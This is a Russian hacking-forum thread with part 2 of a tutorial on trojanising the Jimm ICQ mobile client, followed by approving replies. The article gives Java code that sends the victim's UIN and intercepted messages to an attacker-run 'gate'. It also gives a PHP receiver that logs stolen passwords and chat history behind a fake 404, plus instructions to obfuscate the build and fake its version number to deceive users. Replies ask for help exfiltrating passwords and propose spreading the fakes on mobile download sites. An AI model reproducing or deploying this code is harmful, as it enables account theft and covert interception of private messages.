ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

JIMM Изнутри by Whirt (Часть 2)
  #1  
Старый 28.06.2008, 20:31
Whirt
Участник форума
Регистрация: 24.06.2008
Сообщений: 105
Провел на форуме:
674665

Репутация: 276
По умолчанию JIMM Изнутри by Whirt (Часть 2)

Jimm изнутри (Часть 2)

Вступление
Итак, в предыдущей части мы разобрались, где у нас определены UIN и пароль,
как нам подменить сервер для подключения, и как нам похитить данные на наш гейт.

В прошлой часте мы остановились на проблеме кодирования данных
для передачи через HTTP запрос.

Напишем для этого такой код:
Код:
/**
 * Не-ASCII сначала кодируются как последовательности
 * двух или трех байт, использую алгоритм UTF-8, перед тем
 * как быть закодированными как последовательности %HH
 */
package jimm;

public class whirtUrl
{

  final static String[] hexval = {
    "%00", "%01", "%02", "%03", "%04", "%05", "%06", "%07",
    "%08", "%09", "%0a", "%0b", "%0c", "%0d", "%0e", "%0f",
    "%10", "%11", "%12", "%13", "%14", "%15", "%16", "%17",
    "%18", "%19", "%1a", "%1b", "%1c", "%1d", "%1e", "%1f",
    "%20", "%21", "%22", "%23", "%24", "%25", "%26", "%27",
    "%28", "%29", "%2a", "%2b", "%2c", "%2d", "%2e", "%2f",
    "%30", "%31", "%32", "%33", "%34", "%35", "%36", "%37",
    "%38", "%39", "%3a", "%3b", "%3c", "%3d", "%3e", "%3f",
    "%40", "%41", "%42", "%43", "%44", "%45", "%46", "%47",
    "%48", "%49", "%4a", "%4b", "%4c", "%4d", "%4e", "%4f",
    "%50", "%51", "%52", "%53", "%54", "%55", "%56", "%57",
    "%58", "%59", "%5a", "%5b", "%5c", "%5d", "%5e", "%5f",
    "%60", "%61", "%62", "%63", "%64", "%65", "%66", "%67",
    "%68", "%69", "%6a", "%6b", "%6c", "%6d", "%6e", "%6f",
    "%70", "%71", "%72", "%73", "%74", "%75", "%76", "%77",
    "%78", "%79", "%7a", "%7b", "%7c", "%7d", "%7e", "%7f",
    "%80", "%81", "%82", "%83", "%84", "%85", "%86", "%87",
    "%88", "%89", "%8a", "%8b", "%8c", "%8d", "%8e", "%8f",
    "%90", "%91", "%92", "%93", "%94", "%95", "%96", "%97",
    "%98", "%99", "%9a", "%9b", "%9c", "%9d", "%9e", "%9f",
    "%a0", "%a1", "%a2", "%a3", "%a4", "%a5", "%a6", "%a7",
    "%a8", "%a9", "%aa", "%ab", "%ac", "%ad", "%ae", "%af",
    "%b0", "%b1", "%b2", "%b3", "%b4", "%b5", "%b6", "%b7",
    "%b8", "%b9", "%ba", "%bb", "%bc", "%bd", "%be", "%bf",
    "%c0", "%c1", "%c2", "%c3", "%c4", "%c5", "%c6", "%c7",
    "%c8", "%c9", "%ca", "%cb", "%cc", "%cd", "%ce", "%cf",
    "%d0", "%d1", "%d2", "%d3", "%d4", "%d5", "%d6", "%d7",
    "%d8", "%d9", "%da", "%db", "%dc", "%dd", "%de", "%df",
    "%e0", "%e1", "%e2", "%e3", "%e4", "%e5", "%e6", "%e7",
    "%e8", "%e9", "%ea", "%eb", "%ec", "%ed", "%ee", "%ef",
    "%f0", "%f1", "%f2", "%f3", "%f4", "%f5", "%f6", "%f7",
    "%f8", "%f9", "%fa", "%fb", "%fc", "%fd", "%fe", "%ff"
  };

  /**
   * ASCII символы, начиная с 'a', заканчивая 'z', 'A' заканчивая 'Z',
   *        и с '0' заканчивая '9' оставляем такими же.
   *
   * Такие символы как - _ . ! ~ * ' ( ) оставляем такими же.
   *
   * Пробел преобразуем в плюс '+'.
   *
   * Остальные ASCII символы кодируем в трехсимвольную строку "%xy"
   * где xy - двухсимволное шестнадцатеричное представление 
   * кода символа.
   *
   * Все не-ASCII-символы кодируются в два шага: сначала в 
   * последовательность 2 или 3 байт, используя алгоритм UTF-8;
   * затем, кодируем каждый байт как "%xx".
   *
   * @param - строка, которую подаем на входе на кодирование
   * @return Зашифрованная строка
   */
  public static String encode(String s)
  {
    StringBuffer wbuf = new StringBuffer();
    int len = s.length();
    for (int i = 0; i < len; i++) {
      int ch = s.charAt(i);
      if ('A' <= ch && ch <= 'Z') {		// 'A'..'Z'
        wbuf.append((char)ch);
      } else if ('a' <= ch && ch <= 'z') {	// 'a'..'z'
	       wbuf.append((char)ch);
      } else if ('0' <= ch && ch <= '9') {	// '0'..'9'
	       wbuf.append((char)ch);
      } else if (ch == ' ') {			
	       wbuf.append('+');
      } else if (ch == '-' || ch == '_'		
          || ch == '.' || ch == '!'
          || ch == '~' || ch == '*'
          || ch == '\'' || ch == '('
          || ch == ')') {
        wbuf.append((char)ch);
      } else if (ch <= 0x007f) {		// другие ASCII
	       wbuf.append(hexval[ch]);
      } else if (ch <= 0x07FF) {		// не ASCII <= 0x7FF
	       wbuf.append(hexval[0xc0 | (ch >> 6)]);
	       wbuf.append(hexval[0x80 | (ch & 0x3F)]);
      } else {					// 0x7FF < ch <= 0xFFFF
	       wbuf.append(hexval[0xe0 | (ch >> 12)]);
	       wbuf.append(hexval[0x80 | ((ch >> 6) & 0x3F)]);
	       wbuf.append(hexval[0x80 | (ch & 0x3F)]);
      }
    }
    return wbuf.toString();
  }

}
Не забудьте положить наш whirtUrl.java в \jimm\src\jimm\

И влючить его в код:

Код:
import jimm.whirtUrl;
Далее уже можем использовать в PlainMessage.java нашу функцию, например через HttpConnection
(не забываем подключать соответствующие java-файлы)
Код:
httemp4 = (HttpConnection) Connector.open(script+"?uin="+Options.getString(Options.OPTION_UIN)+"&type=0x02&data="+whirtUrl.encode("[From: "+sndrUin+"] "+text));
Пишем наш гейт
Ну а теперь настало самое время написать наш принимающий core-модуль ))))
Он довольно простой, но функциональный:

PHP код:
<?
//small conf :)
//Указываем диру для логов, обязательно должна существовать.
$dir "logs";

//получаем дату-время для маркировки в логах
$today getdate();
$date $today['mday'].".".$today['mon'];
$time $today['hours'].":".$today['minutes'];


    
$UIN=$_GET['uin'];
    
$type=$_GET['type'];
    
    if (
$type == '0x01')
    {
//как говорил выше: 0х01 - значит к нам пришли пароли
      
$text $_GET['data'];
       
$fp fopen($dir."/numbers.txt"'a+');
       
fwrite($fp"[".$date."] (".$time.") $UIN;$text\r\n");
       
fclose($fp);
    }
    if (
$type == '0x02'//получили сообщения
    

        
$text "[".$time."] ".$_GET['data'];
       
$fp fopen($dir."/hist/".$UIN."_hist_".$date.".txt"'a+');
       
fwrite($fp"$text\r\n");
       
fclose($fp);
    }
//Обезопасим себя :))
header("HTTP/1.0 404 Not Found");

?>
Думаю, здесь без особых трудностей, с файлами работать ведь умеем ))

Хочу заметить, что каталог (изначально) logs должен обязательно существовать, +подкаталог hist, если мы собираемся перехватывать историю.

Компиляция
Ну что ж, теперь у нас все готово для компиляции.
Нам понадобятся последние версии следующих компонентов:
Apache Ant, NetBeans IDE (можно обойтись и без нее, но при редактировании и отладке кода - очень удобно),
Java 2 Platform Standard Edition (J2SE) SDK, J2ME Wireless Toolkit >=2.2, Pro Guard >=4.1

Все это добро можно найти в интернете и скачать, используя наш любимый google )
С установкой, думаю проблем возникнуть не должно.

Давайте лучше, обратим внимание на файл build.xml, нам нужно будет его отредактировать вручную.
Код:
	<property name="DEFAULT/midp"      value="D:\WTK2.5.2"                         />
	<property name="MIDP2/midp"        value="D:\WTK2.5.2"                         />
	<property name="RIM/midp"          value="D:\WTK2.5.2"                         />
	<property name="SIEMENS1/midp"     value="D:\WTK2.5.2"                         />
	<property name="SIEMENS2/midp"     value="D:\WTK2.5.2"                         />
	<property name="MOTOROLA/midp"     value="D:\WTK2.5.2"                         />
Здесь нам нужно указать путь к нашему Wireless Toolkit, в моем случае это D:\WTK2.5.2
Код:
	<property name="proguard"          value="C:\devel\java\proguard4.1\proguard4.1"/>
Указываем путь к нашему обфускатору+пакеру proguard. Можно в принципе его и не использовать,
но все же рекомендую. Жмет+обфусцирует код.
Код:
	<property name="target"            value="MIDP2"                           />
Проставляем нужный нам таргет. Обычно, это MIDP2, который поддерживают все современные телефоны.
В ином случае, укажите ваш вариант.

Код:
	<property name="modules"           value="SMILES,HISTORY,PROXY" />
Указываем необходимые модули, которые подключаем к проекту.
То, что ненужно, можно отключить, чтобы уменьшить размер скомпилированного приложения.

Код:
	<property name="version/jimm"      value="0.5.3b"                     />
	<property name="version/java"      value="0.5.3"                />
Здесь мы можем изменить нашу версию, чтобы надурить бедных ламеров)

Ну, вроде ничего не упустил, теперь можно запускать NetBeans IDE.

File -> New Project -> Java Project With Existing Ant Script.
Указываем диру, где лежат исходники jimm + наш build-скрипт (build.xml)

Next;

В Build Project: устанавливаем таргет "dist"
.
Ну вот и все. Впринципе можно смело нажимать Build. И, если, все сделано, правильно, у нас
в директории \jimm\dist\bin
Появятся 2 файла: .jar и .jad
Думаю, что с ними делать дальше, ты знаешь



Заключение
Итак, как, ты понял, мы можем запросто собрать свой билд Jimm с нужными нам функциями.
Думаю теперь ты будешь чаще использовать оф. версии, для которых доступны исходные коды,
ведь безопасность твоей ICQ тебе наверно дороже?
Сейчас расплодилось огромное количество модификаций Jimm, большинство из них имеют закрытый исходный
код, и только сетевой трейс сможет отследить, какую инфу они отправляют в действительности.

A little Disclaimer:
Статья не является руководством к написанию вредоносных программ, а является лишь информацией к размышлению)
Автор не несет ответственности за любой принесенный ущерб в результате неправильного использования
представленной информации, а так же действий, противоречащих УК РФ.

Copyright: Whirt
Специально для Anitchat.ru
 
Ответить с цитированием

  #2  
Старый 06.01.2009, 22:30
Masik0
Новичок
Регистрация: 01.01.2009
Сообщений: 6
Провел на форуме:
8576

Репутация: 0
По умолчанию

Whirt можешь подробно написать для чайника как сделать что бы jimmка отпровляла пароли на указаный ей uin пожалуйста????
 
Ответить с цитированием

  #3  
Старый 06.01.2009, 23:45
dimhee
Участник форума
Регистрация: 08.03.2007
Сообщений: 191
Провел на форуме:
4081574

Репутация: 214
Отправить сообщение для dimhee с помощью ICQ
По умолчанию

А жертва разве не может вернуть номер через примак ? или они уже давно отпали (данным вопросом давно не интересовался )) , за статью спасибо!
 
Ответить с цитированием

  #4  
Старый 07.01.2009, 17:11
Masik0
Новичок
Регистрация: 01.01.2009
Сообщений: 6
Провел на форуме:
8576

Репутация: 0
По умолчанию

Whirt можешь подробно написать для чайника как сделать что бы jimmка отпровляла пароли на указаный ей uin пожалуйста???
 
Ответить с цитированием

  #5  
Старый 20.01.2009, 08:59
ReduKToR
Постоянный
Регистрация: 05.01.2009
Сообщений: 684
Провел на форуме:
3281634

Репутация: 485


Отправить сообщение для ReduKToR с помощью ICQ
По умолчанию

молодец, как всегда отлично!так фейки шпарить и шпарить мона и отправлять по сайтам мобил )
 
Ответить с цитированием

  #6  
Старый 22.02.2009, 03:38
Rapai
Новичок
Регистрация: 18.09.2008
Сообщений: 2
Провел на форуме:
2985

Репутация: 0
По умолчанию

Цитата:
Не забудьте положить наш whirtUrl.java в \jimm\src\jimm\
И влючить его в код:
Может я чтото не углядел, но всётаки! Мона про это подробнее. В какой файл вписывать и в какое местечко.
 
Ответить с цитированием

  #7  
Старый 22.02.2009, 05:03
F1shka
Banned
Регистрация: 10.04.2008
Сообщений: 618
Провел на форуме:
2603997

Репутация: 942


Отправить сообщение для F1shka с помощью ICQ Отправить сообщение для F1shka с помощью AIM Отправить сообщение для F1shka с помощью Yahoo
По умолчанию

Цитата:
Сообщение от Masik0  
Whirt можешь подробно написать для чайника как сделать что бы jimmка отпровляла пароли на указаный ей uin пожалуйста????
Цитата:
Статья не является руководством к написанию вредоносных программ, а является лишь информацией к размышлению
Хорошая статья! Спасибо!
 
Ответить с цитированием

  #8  
Старый 22.02.2009, 06:50
CrazyStudentS_Mi}{
Постоянный
Регистрация: 04.07.2007
Сообщений: 827
Провел на форуме:
2504528

Репутация: 882


По умолчанию

можно делать сайт как смскапкан только асикью капкан ТС надеюсь ты тут не все спалил и сможешь свои гениальные идеи сказочно монетизировать. гуд лак!
 
Ответить с цитированием

  #9  
Старый 22.02.2009, 14:07
KaZ@NoVa
Постоянный
Регистрация: 05.07.2008
Сообщений: 555
Провел на форуме:
3134311

Репутация: 1467


Отправить сообщение для KaZ@NoVa с помощью ICQ Отправить сообщение для KaZ@NoVa с помощью AIM Отправить сообщение для KaZ@NoVa с помощью Yahoo
По умолчанию

Цитата:
Сообщение от Whirt  
Сейчас расплодилось огромное количество модификаций Jimm, большинство из них имеют закрытый исходный
код, и только сетевой трейс сможет отследить, какую инфу они отправляют в действительности.
____________________________________________
Вот реально правда.Попробовать через эмулятор на кривой девятки посмотреть с помощью фаервола.Если чисто все,то только тогда юзать Jimm.

Отличная статья
 
Ответить с цитированием

  #10  
Старый 23.02.2009, 01:28
pokerman
Новичок
Регистрация: 22.01.2009
Сообщений: 6
Провел на форуме:
70522

Репутация: 1
По умолчанию

ой как всё сложно то в каком-то маленьком Jimm'e
Вообще почти ничего не понял из статьи, а может просто не захотел понимать...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
JIMM Изнутри by Whirt (Часть 1) Whirt Авторские статьи 5 27.05.2009 07:34
Атака на хэши (часть вторая) -=lebed=- Расшифровка хешей 8 07.07.2008 19:54
Возникающие ошибки Jimm DeaDevil ICQ 5 25.05.2008 02:27
547 дней из жизни Яндекса. Часть 1 B1ade SЕО - тонкости, методы раскрутки 0 03.05.2008 16:12
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ